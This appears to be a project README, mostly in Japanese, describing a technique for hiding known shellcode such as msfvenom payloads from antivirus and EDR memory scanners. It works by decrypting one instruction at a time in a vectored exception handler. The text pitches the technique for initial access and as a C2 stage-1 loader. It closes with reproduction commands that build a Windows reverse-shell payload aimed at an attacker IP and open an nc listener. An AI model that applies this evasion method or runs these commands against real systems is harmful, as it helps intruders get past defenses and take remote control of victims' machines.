
A technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page.
AV/EDRメモリスキャナーをバイパスするために使用できるテクニックです。既知で検出されるシェルコード(msfvenomなど)を、個々の暗号化されたアセンブリ命令をオンザフライで復号化することで隠すために使用でき、特定のメモリページに対するメモリスキャナーを無力化します。
このテクニックは、暗号化されたアセンブリ命令が格納されるPAGE_EXECUTE_READWRITEメモリ領域を作成します。シェルコードはある程度のパディングで囲まれます。プログラムはシェルコードのエントリポイントにハードウェアブレークポイント(HWBP)を設定します。
次に、プログラムはベクタード例外ハンドラー(VEH)をインストールします。このVEHは基本的にデバッガーのように動作し、コードをシングルステップ実行しながら、VEHが受け取った各SINGLE STEP例外ごとに命令ポインタレジスタ(RIP)を読み取り、RIPが指す場所の次の16バイト(x64アセンブリ命令の最大長)を復号化します。VEHはまた、以前に復号化した命令を再暗号化し、現在実行中の単一のアセンブリ命令を除いて、シェルコードの残りが常に暗号化された状態を維持するようにします。その後、EflagsレジスタにTRAP FLAGを設定して実行を継続します。これにより、次のアセンブリ命令でもVEHが処理できるブレークポイント例外がトリガーされるようになります。
VEHのインストール後、メインスレッドの実行はペイロードのエントリポイントにリダイレクトされます。エントリポイントでHWBPがトリガーされると、VEHは実行される各アセンブリ命令で停止し、次のアセンブリ命令の復号化を実行し、グローバル変数として保存されている以前の暗号化命令を再暗号化します。
これにより、基本的に一度に復号化されるのは単一のアセンブリ命令のみとなり、ペイロードの残りは暗号化されたままになります。
注: このテクニックは、msfvenomやカスタムリバースシェルなどの基本的なシェルコードを使用して初期アクセスを取得するのに理想的です。また、C2サーバーから残りのペイロードをダウンロードする初期ステージ1ペイロードとしても使用できます。
注: このテクニックは、すべてのペイロード(リフレクティブローダーなど)と互換性があるわけではありません。以下は現在の制限事項のリストです:
各アセンブリ命令に対してVEHがトリガーされるため、シェルコードの実行速度は大幅に低下します。CPUが実行する各アセンブリ命令に対して、VEHは復号化、暗号化、メインスレッドへの実行復元を実行するために、少なくとも追加で300のASM命令を実行します。シェルコードがパフォーマンスよりもサイズの小ささを重視して最適化されている場合(msfvenomなど)、ペイロードの実行は遅くなります。MSFVENOMの実行には(CPUにもよりますが)15秒以上かかることがあります。これは、msfvenomが使用する特定のシェルコードが、ペイロードサイズを小さくするためにパフォーマンスを犠牲にしているためです。NtCreateThreadまたはKernelbase.dll内のそのラッパーのいずれかを、エントリポイントがシェルコード内にある状態で呼び出す場合、新しく作成されたスレッドのエントリポイントにHWBPがインストールされていないため、VEHはそのスレッドの実行に対してトリガーされず、ペイロードは機能しません。(作業中 - このリポジトリでさらに実装される予定です)値/変数を保持している場合(例えば、WinExec WINAPIの呼び出しでオフセットを介して参照される生の文字列"powershell.exe"を含む場合や、数値がオフセット位置に保存されている場合)、シェルコードが後でその変数や文字列をどこかでロードまたは参照しようとすると、特定の変数や文字列が暗号化されるため、VEHはそれを復号化せず、プログラムは機能しません。シェルコードがアセンブリ命令を介してそのような引数をスタックにプッシュする場合(push 0x4141414141414141で"AAAAAAAA"をスタックにプッシュして関数呼び出しで使用するなど)、このテクニックは機能します。(作業中 - このリポジトリでさらに実装される予定です)POCを再現する方法:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
./XorEncryptPayload.exe C:\Path\to\shell.asm
nc -nvlp 443

このリポジトリは学術目的のためのものであり、このソフトウェアの使用は自己責任です。